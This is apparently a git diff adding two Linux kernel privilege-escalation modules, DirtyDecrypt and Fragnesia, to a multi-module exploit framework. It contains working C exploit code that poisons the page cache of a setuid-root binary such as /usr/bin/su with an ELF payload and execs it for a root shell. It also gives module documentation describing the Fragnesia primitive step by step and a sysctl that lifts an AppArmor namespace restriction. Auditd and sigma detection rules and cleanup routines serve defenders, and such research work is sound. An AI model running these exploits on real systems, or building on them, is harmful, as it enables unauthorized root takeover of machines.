|
if (pid < 0) { perror("fork"); _exit(2); }
|
||||||
|
if (pid == 0) {
|
||||||
|
setup_ns();
|
||||||
|
usleep(10000);
|
||||||
|
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(4); }
|
||||||
|
close(sock);
|
||||||
|
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf),
|
||||||
|
sb.st_size, target_path) < 0 ? 2 : 0);
|
||||||
|
}
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
munmap(map, 4096);
|
||||||
|
close(rfd);
|
||||||
|
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
|
||||||
|
ERR("page-cache corruption failed (status 0x%x)", st);
|
||||||
|
_exit(WIFEXITED(st) && WEXITSTATUS(st) == 4 ? 4 : 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (no_shell) {
|
||||||
|
LOG("--no-shell: page cache poisoned, shell not spawned");
|
||||||
|
LOG("revert with `skeletonkey --cleanup dirtydecrypt`");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("page cache poisoned; exec %s to claim root", target_path);
|
||||||
|
fflush(NULL);
|
||||||
|
execlp(target_path, target_path, (char *)NULL);
|
||||||
|
perror("execlp target");
|
||||||
|
_exit(2);
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
if (geteuid() == 0) {
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: already root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *target = dd_pick_target();
|
||||||
|
if (!target) {
|
||||||
|
ERR("no readable setuid-root binary to use as a carrier");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
LOG("target carrier: %s", target);
|
||||||
|
|
||||||
|
/* Record the target so cleanup() knows what to evict. */
|
||||||
|
int sf = open("/tmp/skeletonkey-dirtydecrypt.target",
|
||||||
|
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); }
|
||||||
|
|
||||||
|
srand(time(NULL) ^ getpid());
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
if (pid == 0)
|
||||||
|
dd_child(target, ctx->no_shell); /* never returns on shell path */
|
||||||
|
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
if (!WIFEXITED(st))
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
switch (WEXITSTATUS(st)) {
|
||||||
|
case 0: return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
case 4: return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
default: return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- cleanup ------------------------------------------------------ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
char target[256] = {0};
|
||||||
|
int sf = open("/tmp/skeletonkey-dirtydecrypt.target", O_RDONLY);
|
||||||
|
if (sf >= 0) {
|
||||||
|
ssize_t n = read(sf, target, sizeof(target) - 1);
|
||||||
|
if (n > 0) target[n] = '\0';
|
||||||
|
close(sf);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (target[0]) {
|
||||||
|
LOG("evicting %s from page cache", target);
|
||||||
|
dd_evict(target);
|
||||||
|
unlink("/tmp/skeletonkey-dirtydecrypt.target");
|
||||||
|
} else {
|
||||||
|
LOG("no recorded target; evicting all candidate carriers");
|
||||||
|
for (int i = 0; dd_targets[i]; i++)
|
||||||
|
dd_evict(dd_targets[i]);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: Linux-only module "
|
||||||
|
"(AF_RXRPC / rxgk) — not applicable on this platform\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] dirtydecrypt: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* ---- detection rules (embedded) ----------------------------------- */
|
||||||
|
|
||||||
|
static const char dd_auditd[] =
|
||||||
|
"# DirtyDecrypt (CVE-2026-31635) — auditd detection rules\n"
|
||||||
|
"# rxgk in-place decrypt corrupts the page cache of a read-only file.\n"
|
||||||
|
"-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"# AF_RXRPC socket creation by non-root (family 33) — core of the trigger\n"
|
||||||
|
"-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc\n"
|
||||||
|
"# rxrpc security keys added to the keyring\n"
|
||||||
|
"-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key\n"
|
||||||
|
"# splice() drives the page-cache pages into the forged DATA packet\n"
|
||||||
|
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n";
|
||||||
|
|
||||||
|
static const char dd_sigma[] =
|
||||||
|
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
|
||||||
|
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects the footprint of the rxgk page-cache write (DirtyDecrypt /\n"
|
||||||
|
" DirtyCBC, CVE-2026-31635): non-root creation of AF_RXRPC sockets\n"
|
||||||
|
" followed by modification of a setuid-root binary or /etc/passwd.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" modification:\n"
|
||||||
|
" type: 'PATH'\n"
|
||||||
|
" name|startswith: ['/usr/bin/su', '/bin/su', '/etc/passwd', '/etc/shadow']\n"
|
||||||
|
" not_root:\n"
|
||||||
|
" auid|expression: '!= 0'\n"
|
||||||
|
" condition: modification and not_root\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31635]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module dirtydecrypt_module = {
|
||||||
|
.name = "dirtydecrypt",
|
||||||
|
.cve = "CVE-2026-31635",
|
||||||
|
.summary = "rxgk missing-COW in-place decrypt → page-cache write into a setuid binary",
|
||||||
|
.family = "dirtydecrypt",
|
||||||
|
.kernel_range = "kernels exposing AF_RXRPC + rxgk (security index 6); fix commit not yet pinned",
|
||||||
|
.detect = dd_detect,
|
||||||
|
.exploit = dd_exploit,
|
||||||
|
.mitigate = NULL,
|
||||||
|
.cleanup = dd_cleanup,
|
||||||
|
.detect_auditd = dd_auditd,
|
||||||
|
.detect_sigma = dd_sigma,
|
||||||
|
.detect_yara = NULL,
|
||||||
|
.detect_falco = NULL,
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_dirtydecrypt(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&dirtydecrypt_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||||
|
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
# fragnesia — CVE-2026-46300
|
||||||
|
|
||||||
|
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||||
|
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||||
|
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
|
||||||
|
escalation. `skb_try_coalesce()` fails to propagate the
|
||||||
|
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||||
|
buffers — so the kernel forgets that a fragment is externally backed by
|
||||||
|
page-cache pages spliced in from a file. The ESP-in-TCP receive path
|
||||||
|
then decrypts in place, corrupting the page cache of a read-only file.
|
||||||
|
|
||||||
|
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
|
||||||
|
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
|
||||||
|
commit it "fixes". It is the same page-cache-write bug class as Copy
|
||||||
|
Fail / Dirty Frag, reached through a different code path.
|
||||||
|
|
||||||
|
## Primitive
|
||||||
|
|
||||||
|
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
|
||||||
|
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
|
||||||
|
whose keystream byte XORs the current byte to the target.
|
||||||
|
2. Enter a mapped **user namespace** + **network namespace**, bring
|
||||||
|
loopback up, and install an XFRM **ESP-in-TCP** state
|
||||||
|
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
|
||||||
|
3. A **receiver** accepts a loopback TCP connection and flips it to the
|
||||||
|
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
|
||||||
|
target file into that TCP stream behind a crafted ESP prefix.
|
||||||
|
4. The coalesce bug makes the kernel decrypt the spliced page-cache
|
||||||
|
pages in place — one chosen byte per trigger.
|
||||||
|
|
||||||
|
The exploit rewrites the first 192 bytes of a setuid-root binary
|
||||||
|
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
|
||||||
|
0 and `execve`s `/bin/sh`.
|
||||||
|
|
||||||
|
## Operations
|
||||||
|
|
||||||
|
| Op | Behaviour |
|
||||||
|
|---|---|
|
||||||
|
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||||
|
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||||
|
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
|
||||||
|
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||||
|
|
||||||
|
## Preconditions
|
||||||
|
|
||||||
|
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
|
||||||
|
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
|
||||||
|
(or chain a separate bypass). This is the scoping question the old
|
||||||
|
`_stubs/fragnesia_TBD` raised; the module ships and reports
|
||||||
|
`PRECOND_FAIL` cleanly when the userns gate is closed.
|
||||||
|
- `CONFIG_INET_ESPINTCP` built into the kernel.
|
||||||
|
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
|
||||||
|
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||||
|
|
||||||
|
## Port notes
|
||||||
|
|
||||||
|
The upstream PoC renders a full-screen ANSI "smash frame" TUI
|
||||||
|
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
|
||||||
|
ported — it cannot coexist with a shared multi-module dispatcher.
|
||||||
|
Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
|
||||||
|
The exploit mechanism itself is reproduced faithfully.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
This module is a **faithful port** of
|
||||||
|
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
|
||||||
|
into the SKELETONKEY module interface. It has **not** been validated
|
||||||
|
end-to-end against a known-vulnerable kernel inside the SKELETONKEY CI
|
||||||
|
matrix.
|
||||||
|
|
||||||
|
`detect()` deliberately does **not** return a kernel-version-based
|
||||||
|
patched/vulnerable verdict: the CVE-2026-46300 fix commit is not yet
|
||||||
|
pinned here. Instead:
|
||||||
|
|
||||||
|
- preconditions missing → `PRECOND_FAIL`
|
||||||
|
- preconditions present, no `--active` → `TEST_ERROR` so `--auto` does
|
||||||
|
not fire it blind
|
||||||
|
- `--active` → empirical VULNERABLE / OK via the `/tmp` sentinel probe
|
||||||
|
|
||||||
|
**Before promoting to 🟢:** pin the fix commit + branch-backport
|
||||||
|
thresholds, add a `kernel_range`, and validate on a vulnerable VM.
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
# NOTICE — fragnesia
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
|
||||||
|
local privilege escalation. `skb_try_coalesce()` fails to propagate the
|
||||||
|
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||||
|
buffers, so the kernel loses track of the fact that a fragment is
|
||||||
|
externally backed by page-cache pages spliced in from a file. The
|
||||||
|
ESP-in-TCP receive path then decrypts in place, corrupting the page
|
||||||
|
cache of a read-only file.
|
||||||
|
|
||||||
|
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
|
||||||
|
the candidate fix explicitly cites the Dirty Frag patch
|
||||||
|
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
|
||||||
|
made a previously latent flaw practically exploitable.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered by **William Bowling** with the **V12 security** team.
|
||||||
|
|
||||||
|
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
|
||||||
|
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
`skeletonkey_modules.c` is a port of the V12 PoC
|
||||||
|
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
|
||||||
|
interface. The exploit primitive — the AES-GCM keystream-byte table
|
||||||
|
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
|
||||||
|
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
|
||||||
|
192-byte ELF payload — is reproduced from that PoC.
|
||||||
|
|
||||||
|
**Port adaptation:** the PoC's ANSI "smash frame" TUI
|
||||||
|
(`draw_smash_frame` + terminal scroll-region escape sequences) is
|
||||||
|
**not** carried over — it is incompatible with running as one module
|
||||||
|
among many under a shared dispatcher. Progress is reported with
|
||||||
|
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
|
||||||
|
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
|
||||||
|
support, and the embedded detection rules. Research credit belongs to
|
||||||
|
the people above.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||||
|
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
|
||||||
|
creation. The CVE-2026-46300 fix commit is not yet pinned in this
|
||||||
|
module — see `MODULE.md`.
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
# Fragnesia (CVE-2026-46300) — auditd detection rules
|
||||||
|
#
|
||||||
|
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
|
||||||
|
# read-only file. These rules flag the syscall surface the exploit
|
||||||
|
# drives and writes to the setuid binaries it targets.
|
||||||
|
#
|
||||||
|
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||||
|
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||||
|
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
# Modification of common payload carriers / credential files
|
||||||
|
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /bin/su -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /etc/passwd -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /etc/shadow -p wa -k skeletonkey-fragnesia
|
||||||
|
|
||||||
|
# AF_ALG socket creation (family 38) — builds the GCM keystream table
|
||||||
|
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
|
||||||
|
|
||||||
|
# XFRM state setup over NETLINK_XFRM
|
||||||
|
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
|
||||||
|
|
||||||
|
# TCP_ULP espintcp + ESP setsockopt surface
|
||||||
|
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
|
||||||
|
|
||||||
|
# splice() drives page-cache pages into the ESP-in-TCP stream
|
||||||
|
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
|
||||||
|
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
title: Possible Fragnesia exploitation (CVE-2026-46300)
|
||||||
|
id: 9b3d2e71-skeletonkey-fragnesia
|
||||||
|
status: experimental
|
||||||
|
description: |
|
||||||
|
Detects the file-modification footprint of the Fragnesia XFRM
|
||||||
|
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
|
||||||
|
of a setuid-root binary or credential file, typically inside a
|
||||||
|
freshly created user + network namespace.
|
||||||
|
references:
|
||||||
|
- https://github.com/v12-security/pocs/tree/main/fragnesia
|
||||||
|
- https://lists.openwall.net/netdev/2026/05/13/79
|
||||||
|
logsource:
|
||||||
|
product: linux
|
||||||
|
service: auditd
|
||||||
|
detection:
|
||||||
|
modification:
|
||||||
|
type: 'PATH'
|
||||||
|
name|startswith:
|
||||||
|
- '/usr/bin/su'
|
||||||
|
- '/bin/su'
|
||||||
|
- '/etc/passwd'
|
||||||
|
- '/etc/shadow'
|
||||||
|
not_root:
|
||||||
|
auid|expression: '!= 0'
|
||||||
|
condition: modification and not_root
|
||||||
|
level: high
|
||||||
|
tags:
|
||||||
|
- attack.privilege_escalation
|
||||||
|
- attack.t1068
|
||||||
|
- cve.2026.46300
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* fragnesia_cve_2026_46300 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
|
||||||
|
#define FRAGNESIA_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module fragnesia_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -789,6 +789,8 @@ int main(int argc, char **argv)
|
|||||||
skeletonkey_register_sequoia();
|
skeletonkey_register_sequoia();
|
||||||
skeletonkey_register_sudoedit_editor();
|
skeletonkey_register_sudoedit_editor();
|
||||||
skeletonkey_register_vmwgfx();
|
skeletonkey_register_vmwgfx();
|
||||||
|
skeletonkey_register_dirtydecrypt();
|
||||||
|
skeletonkey_register_fragnesia();
|
||||||
|
|
||||||
enum mode mode = MODE_SCAN;
|
enum mode mode = MODE_SCAN;
|
||||||
struct skeletonkey_ctx ctx = {0};
|
struct skeletonkey_ctx ctx = {0};
|
||||||
|
|||||||
Reference in New Issue
Block a user